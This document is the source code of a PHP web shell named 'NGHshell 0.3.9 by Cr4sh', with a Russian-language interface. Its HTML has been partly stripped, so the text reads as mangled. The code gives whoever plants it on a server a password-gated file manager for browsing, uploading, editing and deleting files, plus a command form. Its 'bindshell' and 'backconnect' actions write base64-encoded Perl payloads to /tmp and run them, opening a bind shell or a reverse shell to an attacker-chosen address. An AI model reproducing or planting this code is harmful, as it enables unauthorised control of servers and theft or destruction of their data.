Login error"); } } else { $logined = @$_COOKIE['logined']; if ($logined != $pass) { ?>
method=POST> user:
pass:

Webcommander at <?=$_SERVER["HTTP_HOST"]?> Ведите имя\n"); if (!@mkdir($path.$dirname)) die("Немогу создать папку\n"); } elseif ($act == upload) { $userfile = @$_FILES['userfile']['tmp_name']; $uploaddir = @$_POST['uploaddir']; if (is_uploaded_file($userfile)) { @copy($userfile, $uploaddir.$_FILES['userfile']['name']); @unlink($userfile); $path = $uploaddir; } else die("Ошибка при загрузке файла\n"); } elseif ($act == "rm") { $name = @$_GET['name']; rm($name); $inf = pathinfo($name); $path = $inf['dirname']; } elseif ($act == "viev") { $name = @$_GET['name']; if (file_exists($name)) { echo "
\n". "файл ".$name."
\n"; $out = implode("", file($name)); echo "
\n". "\n". "\n". "
\n". "[ back ]"; } else die("Файл не найден\n"); exit; } elseif ($act == "updatefile") { $filename = @$_POST['file']; $text = @$_POST['text']; if (is_writable($filename)) { $handle = fopen($filename, "w+"); if (fwrite($handle, stripslashes($text)) === FALSE) { die("Ошибка записи в файл\n"); } } else die("Файл недоступен для записи\n"); fclose($handle); $inf = pathinfo($filename); $path = $inf['dirname']; } elseif ($act == "touch") { $userfile = @$_POST['file']; $userdir = @$_POST['dir']; if (!$userfile) { die("Ведите имя\n"); } $handle = fopen($userdir.$userfile, "w+"); if (fwrite($handle, "") === FALSE) { die("Ошибка создания файла\n"); } fclose($handle); $path = $userdir; } elseif ($act == "renameform") { $name = @$_GET['name']; echo "
" ."Переименовать, копировать или переместить ".$name."
" ."" ."
" ." переместить
" ." скопировать
" ."
" ."[ back ]"; exit; } elseif ($act == "rename") { $from = @$_POST['from']; $to = @$_POST['to']; $todo = @$_POST['todo']; mvcp($from, $to, $todo); $inf = pathinfo($from); $path = $inf['dirname']; } elseif ($act == "bindshell") { $port = @$_POST['port']; if (!$port) { die("Укажите порт"); } $file = "/tmp/bd"; $handle = fopen($file, "w+"); if (fputs($handle, base64_decode($bind)) === FALSE) { die("Ошибка создания файла ".$file."\n"); } else { fclose($handle); passthru("perl ".$file." ".$port." > /dev/null &"); } } elseif ($act == "backconnect") { $port = @$_POST['port']; $addr = @$_POST['addr']; if (!$port || !$addr) { die("Укажите порт и адресс"); } $file = "/tmp/bcon"; $handle = fopen($file, "w+"); if (fputs($handle, base64_decode($backcon)) === FALSE) { die("Ошибка создания файла ".$file."\n"); } else { fclose($handle); passthru("perl ".$file." ".$addr." ".$port." > /dev/null &"); } } elseif ($act == "phpinfo") { phpinfo(); exit; } if (!$path) { $dir = getcwd()."/"; } else { $dir = stripslashes($path); if ($dir[strlen($dir)-1] != "/") $dir .= "/"; } $dir = str_replace("\\", "/", $dir); $dir = str_replace("//", "/", $dir); $arr = explode("/", $dir); for ($i=0; $i
?act=showlogo> Host:
IP address:
Software:
method=GET> Команда:
?act=bindshell method=POST> Bind /bin/bash at port:
?act=backconnect method=POST> Connectback: Адресс Порт
?act=mass method=POST> \n" ."\n" ."\n" ."\n" ."\n"; if ($cssclass == "v") $cssclass = "v2"; elseif ($cssclass == "v2") $cssclass = "v"; } } rewinddir($handle); while ($file = readdir($handle)) { if (is_file($dir.$file)) { echo "\n" ."\n" ."\n" ."\n" ."\n" ."\n"; if ($cssclass == "v") $cssclass = "v2"; elseif ($cssclass == "v2") $cssclass = "v"; } } closedir($handle); ?>
<< size date permissions
" ."[" .$file."]--dir".date("d.m.y/H:i", filemtime($dir.$file))."".parseperms(fileperms($dir.$file))."DELMOVE(COPY)
" ."[".$file."]".filesize($dir.$file)."\n" .date("d.m.y/H:i", filemtime($dir.$file))."".parseperms(fileperms($dir.$file))."DELMOVE(COPY)EDIT
С отмечеными: Удалить [ Переместить Копировать в ]
?act=mkdir method=POST> Создать папку
?act=touch METHOD=POST> Создать пустой файл
?act=upload METHOD=POST> Закачать файл
?act=phpinfo>Phpinfo() Директория не найдена\n"); function rm($name) { if (is_file($name)) { if (!@unlink($name)) die("Немогу удалить файл ".$name."\n"); } elseif (is_dir($name)) deldir($name); } function mvcp($from, $to, $todo) { if ($todo == "mv") { if (is_file($from)) { if (!rename($from, $to)) { die("Ошибка при перемещении файла ".$from.""); } } elseif (is_dir($from)) { mvdir($from, $to, $todo); } } else { if (is_file($from)) { if (!copy($from, $to)) { die("Ошибка при копировании файла ".$from.""); } } elseif (is_dir($from)) { mvdir($from, $to, "cp"); } } } function deldir($name) { if (@$handle=opendir($name)) { while ($file = readdir($handle)) { if ($file != ".." && $file != ".") { if (is_file($name."/".$file)) { unlink($name."/".$file); } elseif (is_dir($name."/".$file)) { deldir($name."/".$file); } } } closedir($handle); } else die("Немогу удалить папку ".$name."\n"); rmdir($name); } function mvdir($from, $to, $todo) { if (@$handle = opendir($from)) { mkdir($to); while ($file = readdir($handle)) { if ($file != ".." && $file != ".") { if (is_file($from."/".$file)) { if (!copy($from."/".$file, $to."/".$file)) { die("Ошибка при копировании файла ".$from."/".$file.""); } } elseif (is_dir($from."/".$file)) { mvdir($from."/".$file, $to."/".$file, $todo); } } } closedir($handle); if ($todo == "mv") deldir($from); } else die("Немогу копировать папку ".$name."\n"); } function parseperms($perms) { if (!$perms) return "null"; if (($perms & 0xC000) == 0xC000) { $info = 'socket '; } elseif (($perms & 0xA000) == 0xA000) { $info = 'link '; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'dir ' ; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } echo "
NGHshell 0.3.9 by Cr4sh\n"; /* EOF **********************************/ ?>